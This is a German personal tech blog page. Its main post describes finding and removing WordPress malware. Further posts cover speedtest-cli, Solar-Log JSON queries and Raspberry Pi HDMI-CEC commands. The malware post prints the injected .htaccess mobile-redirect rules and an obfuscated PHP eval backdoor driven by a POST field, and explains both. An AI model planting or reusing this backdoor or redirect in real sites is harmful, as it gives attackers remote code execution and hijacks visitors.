WordPress – Maleware MW:HT:291 entfernen und Ursache finden

Heute gibt es mal wieder ein Beitrag von mir in eigener Sache, der meinen WordPress-Blog betrifft.
Wie sich herausgestellt hat wurden alle Webseitenbesucher, welche mit einem Smartphone auf meinen Blog zugreifen wollten automatisch auf irgendwelche Werbeseiten weitergeleitet.
Erst einmal Danke an Steffen, der mir direkt bescheid gegeben hat, sodass der Müll nur für einige Stunden auf meiner Seite aktiv war. Nicht einmal Google war schnell genug um dies zu bemerken. 🙂
Was war passiert ?
Als erstes hatte ich ein paar Online-Viren/Maleware Scanner ausprobiert. Wie schon gesagt hat Google nichts gefunden. Der Malewarescanner von labs.sucuri.net fand dann aber etwas. Gefunden wurde ein sogenannter „Malware entry: MW:HT:291„. Mit der Onlinebeschreibung lies sich aber erst einmal nichts anfangen.
Meine erste Vermutung: Aus irgend einem Plugin oder Theme muss das ja kommen
Also habe ich erst einmal alle Plugins deaktiviert und das Template gewechselt. Leider war die Weiterleitung immer noch drin. Also musste es schon eine Veränderung der WordPress Dateien sein, oder etwas anderes.
Also schaute ich mir mal das Dateisystem an, Ordnerstruktur und WordPress-Dateien.
Dabei sind mir einige .htaccess Dateien aufgefallen, die ich so nicht angelegt hatte. Unter wp-includes, wp-content sowie im Root-Verzeichnis hatte sich da folgendes in die .htaccess eingeschleust:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} android|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|pad)|iris|kindle|lge\ |maemo|meego.+mobile|midp|mmp|netfront|palm(\ os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows\ (ce|phone)|xda|xiino [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a\ wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r\ |s\ )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1\ u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp(\ i|ip)|hs\-c|ht(c(\-|\ |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac(\ |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(\ |\/)|klon|kpt\ |kwc\-|kyo(c|k)|le(no|xi)|lg(\ g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|\ |o|v)|zz)|mt(50|p1|v\ )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v\ )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-|\ )|webc|whit|wi(g\ |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-) [NC]
RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]

Sucht man im Internet nach „http://luxurytds.com/go.php?sid=1“ findet man bereits einige Einträge zu dem nervigem Thema.
Also den Schmodder erst einmal rausgelöscht und gut war….. Doch woher kommt die Maleware ?
Generell aktualisiere ich regelmäßig meine WordPress Installation sowie alle Plugins. Also sollte es nicht aufgrund irgendwelchen alten WordPress Dateien sein… (Dachte ich!)
Jedenfalls habe ich mir mal einige .php Dateien in meinem WordPress Ordner angeschaut. Bei einer Datei unter wp-content/uploads wurde ich stutzig.
Folgender Inhalt:

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nb08aac'];
if(isset($s22)){eval($s21($s22));}?>

Auf den ersten Blick sieht das vielleicht für den Laien nicht wirklich besonders aus, aber warum ist der Code so „umständlich“ ?
Aufgeschlüsselt bedeutet der Code aber: Wenn jemand diese Datei ausführt mit den POST Daten „_POST[’nb08aac‘]“ kann er beliebigen Code einschleusen.
Eine super Erklärung dafür, mit allem Aufgeschlüsselt von somewebgeek.com gibt es hier.
Nachdem ich nun alle meine WordPress Dateien nach diesem Inhalt durchsucht habe, fand ich noch weitere Einträge in diversen Dateien:
hack-textsucheWie sich herausgestellt hat, war dies auch in der view.php des lightword Theme enthalten, welches ich allerdings nicht mehr benutze. Vermutlich war das die Quelle des Ganzen.
Was lerne ich daraus?
Vermutlich ist es nicht immer gut alles aufzuheben und ab und an sollte man mal sein WordPress aufzuräumen.
Warum soll man viele nicht mehr verwendete oder deaktivierte Themes & Plugins installiert lassen ? -> Einfach deinstallieren!
Die klassischen Einstellungen wie: WordPress Version verstecken, Username ändern, andere Tabellennamen etc. hatte ich bereits eingestellt.
Über das Plugin „Sucuri Security“ bin ich noch auf weitere Einstellungsmöglichkeiten gekommen wie z.B. Security Keys, Restrict wp-includes access und weitere Tricks.
Einen wirklichen Virenscanner, oder etwas vergleichbares habe ich aber noch nicht gefunden.
Dennoch sollte mein Blog jetzt erst einmal wieder Sicher sein 🙂
 

Speedtest via Kommandozeile (speedtest.net)

Wie schnell ist mein Internet denn im Moment wirklich ? Diese Frage stell ich mir so des öfteren und in Sachen Speedtest gibt es mittlerweile ja auch einige Tools die einen entweder befriedigen, oder zur Weißglut bringen 🙂
Eins davon ist Speedtest.net, die Seite gibt es schon etwas länger und ist weit verbreitet. Durch die große Anzahl an Servern in allen Ländern, lassen sich auch reale Werte ermitteln.
speedtest
Die Seite funktioniert mit einem Browser und Flash wunderbar, doch wie sieht es aus, wenn ich z.B. nur einen Raspberry Pi habe oder von einem Server ohne grafische Oberfläche die Geschwindigkeit per Bash checken will ?
Dafür habe ich ein cooles Tool gefunden – ist in Python geschrieben und lässt sich überall einsetzen. Der Code ist Open-Source und kann natürlich eingesehen werden.

wget -O speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py
chmod +x speedtest-cli
./speedtest-cli
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
Testing from 1&1 Internet AG (87.106.33.84)...
Selecting best server based on latency...
Hosted by Base-Mail (Frankfurt) [100.73 km]: 10.639 ms
Testing download speed........................................
Download: 93.33 Mbits/s
Testing upload speed..................................................
Upload: 90.83 Mbits/s

Das Skript ermittel standardmäßig einen Test-Server der von der Entfernung her am nächsten ist. Das macht generell Sinn, wenn man jetzt aber den Speed auch mal Interkontinental testen möchte, gibt es dafür auch die passenden Parameter:

$ speedtest-cli -h
usage: speedtest-cli [-h] [--bytes] [--share] [--simple] [--list]
[--server SERVER] [--mini MINI] [--source SOURCE]
[--version]
Command line interface for testing internet bandwidth using speedtest.net.
--------------------------------------------------------------------------
https://github.com/sivel/speedtest-cli
optional arguments:
-h, --help show this help message and exit
--bytes Display values in bytes instead of bits. Does not affect
the image generated by --share
--share Generate and provide a URL to the speedtest.net share
results image
--simple Suppress verbose output, only show basic information
--list Display a list of speedtest.net servers sorted by distance
--server SERVER Specify a server ID to test against
--mini MINI URL of the Speedtest Mini server
--source SOURCE Source IP address to bind to
--version Show the version number and exit

So kann man sich z.B. via –list eine Liste der (bei mir im Test über 3000!) verschiedenen Server im Speedtest.net Pool anzeigen lassen:

./speedtest-cli --list
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
....
5085) Google Fiber (Salt Lake City, UT, United States) [3122.60 km]
4178) Syringa Networks (Salt Lake City, UT, United States) [3122.60 km]
244) XMission (Salt Lake City, UT, United States) [3122.60 km]
2206) UTOPIA (Salt Lake City, UT, United States) [3122.60 km]
....

So kann man sich jetzt einen Server in der Liste anhand der ID heraussuchen und über diesen Testen, dann sieht man auch gleich – wie in meinem Fall, dass ich von Deutschland aus keine 100mbit mehr nach Montreal hinbekomme.
Was alleine schon durch die große Entfernung dazwischen eine Leistung ist 🙂

./speedtest-cli --server 1993
Retrieving speedtest.net configuration...
Retrieving speedtest.net server list...
Testing from 1&1 Internet AG (87.106.33.84)...
Hosted by ElectronicBox (Montreal, QC) [5815.52 km]: 149.306 ms
Testing download speed........................................
Download: 29.63 Mbits/s
Testing upload speed..................................................
Upload: 21.57 Mbits/s

 
Viel Spaß beim Testen.

Solarlog (200) Momentanwerte per Kommandozeile auslesen

Solar-Log LogoBesitzer einer Solaranlage haben in der Regel ja auch einen Datenlogger im Einsatz. Ich habe einen Solarlog 200 bei mir zuhause. Die Abfrage der Livewerte sollte aber auch bei allen anderen Modellen von Solar-Log funktionieren.
Das Solarlog besitzt ja eine sehr schöne grafische Webseite, über diese kann man sich auch alle Werte als JSON Objekte ausgeben lassen.
Jede ID steht für einen bestimmten Wert, hier ist eine Übersicht – diese findet ihr auch im Solarlog Handbuch.

&lt;!-- Solar-Log Json Objekte ----
100 - LastUpdateTime
101 - W Pac (Gesamtleistung) aller Zähler &amp; WR
102 - W Pdc (Gestamtleistung aller WR)
103 - V Uac Durchschnittliche Spannung UAC der Wechselrichter
104 - V Durchschnittliche Spannung UDC der Wechselrichter
105 - Wh Durchschnittliche Spannung UDC der Wechselrichter
106 - Wh Summierter gestriger Tagesertrag aller Wechselrichter
107 - Wh Summiertes Monatsertrag aller WR
108 - Wh Summiertes Jahresertrag aller WR
109 - Wh Gesamtertrag aller Wechselrichter
110 - W momentaner Gesamtverbrauch PAC aller Verbauchszähler
111 - Wh Summierter Verbrauch aller Verbauchs-zähler
112 - Wh Summierter Verbrauch des gestrigen Tages; alle Verbauchszähler
113 - Wh Summierter Verbrauch des Monats; alle Verbauchszähler
114 - Wh Summierter Verbrauch des Jahres, alle Verbauchszähler
115 - Wh Summierter Gesamtverbrauch, alle Ver-bauchszähler
116 - Wp Installierte Generatorleistung
--&gt;

Unter Linux kann man sich dann z.B. via Curl alle Werte ausgeben lassen:

curl -X POST -H "Content-Type: application/json" -d '{"801":{"170":null}}' 192.168.0.69/getjp

Der Befehl gibt bei mir folgende Rückgabe:

{"801":{"170":{"100":"21.09.14 16:32:15","101":257,"102":262,"103":0,"104":407,"105":19466,"106":30730,"107":822005,"108":12972119,"109":23174482,"110":0,"111":0,"112":0,"113":0,"114":0,"115":0,"116":16800}}}

Wenn man das jetzt etwas anders formatiert sieht es schon besser aus:

{"801":
{"170":
{"100":"21.09.14 16:32:15",
"101":257,"102":262,
"103":0,"104":407,
"105":19466,
"106":30730,
"107":822005,
"108":12972119,
"109":23174482,
"110":0,
"111":0,
"112":0,
"113":0,
"114":0,
"115":0,
"116":16800}
}
} 

Fernseher über HDMI (CEC) per Raspberry PI steuern

Wie der begeisterte Bastler bestimmt schon gemerkt hat, kann man mit dem Raspberry PI so einige coole Geräte steuern.
So ist es vielleicht auch nützlich den Fernseher ansteuern zu können. Dafür braucht man generell kein Raspberry PI, sondern nur HDMI und ein CEC-fähigen Fernseher, Endgerät. CEC ist ein definiertes Steuerprotokoll, worüber sich Entertainment Geräte steuern lassen und so z.B. eingeschaltet, ausgeschaltet werden können.
Je nach Hersteller heißt das aber nicht immer CEC, sondern z.B. Anynet+ bei Samsung oder Bravia Theatre Sync bei Sony. Hier findet ihr noch einen ganz einfach geschrieben Artikel der CEC erklärt.
Mit der Software „cec-client“ könnt ihr unter einem Linux-Gerät euren Fernseher via HDMI steuern.
Ich beschreibe hier kurz die Installation und ein paar nützliche Befehle.
Schritt 1: Notwendige Abhängigkeiten installieren

sudo apt-get install autoconf build-essential git liblockdev1-dev libtool libudev-dev pkg-config 

Schritt 2: Quellcode herunterladen
Die Quellen für libcec bzw. cec-client sind offen verfügbar unter: https://github.com/Pulse-Eight/libcec.

git clone git://github.com/Pulse-Eight/libcec.git

Schritt 3: Konfigurieren

cd libcec/
./bootstrap
./configure --with-rpi-include-path=/opt/vc/include --with-rpi-lib-path=/opt/vc/lib --enable-rpi

Schritt 4: Kompilieren

make
sudo make install
sudo ldconfig

Schritt 5: Testen
Nun probieren wir aus, ob der cec-client denn funktioniert, er müsste den Raspberry PI erkennen.

pi@RPI ~ $ cec-client -l
Found devices: 1
device: 1
com port: RPI
vendor id: 2708
product id: 1001
firmware version: 1
type: Raspberry Pi

So und nun zum interessanten Teil: Fernseher per HDMI steuern.
Prüft ob an eurem Fernseher die HDMI-CEC Funktion eingeschaltet ist. Dies ist Standardmäßig nicht immer der Fall. In der Regel findet sich dies immer irgendwo unter Einstellungen -> System -> HDMI.
Fernseher per CEC-Client einschalten: 
Folgenden Befehl einfach über die Kommandozeile absetzen.

echo "on 0" | sudo cec-client -s -d 1

Das -s brauchen wir, damit der cec-client im „Single Command“ Mode arbeitet, und unseren Befehl per echo-pipe entgegen nimmt.
Das -d 1 setzt das Loglevel und sorgt für eine überschaubare Rückmeldung. Ihr könnt das ruhig mal weglassen und die komplette Ausgabe analysieren.
Fernseher per CEC-Client ausschalten:

echo "standby 0" | sudo cec-client -s -d 1

Power-Status per CEC-Client auslesen:

echo "pow 0" | sudo cec-client -s -d 1

Fernseher per CEC-Client auf HDMI1,HDMI2,HDMI3, usw. umschalten:

echo "tx 4F 82 10 00" | cec-client -s

Wofür das 4F steht weiß ich ehrlich gesagt nicht, die 82 steht für den „Active Source“ Befehl, die 10 ist bei meinem Sony Fernseher HDMI1, die 00 ist das Ziel als Broadcast.
Um auf HDMI4 umzuschalten wäre der Befehl also:

echo "tx 4F 82 40 00" | cec-client -s

Da muss man ein bisschen herumprobieren, kann je nach Fernseher etwas unterschiedlich sein.
Hilfreich kann folgende Seite sein: www.cec-o-matic.com, dort kann man sich die HDMI Befehle passend zusammenklicken.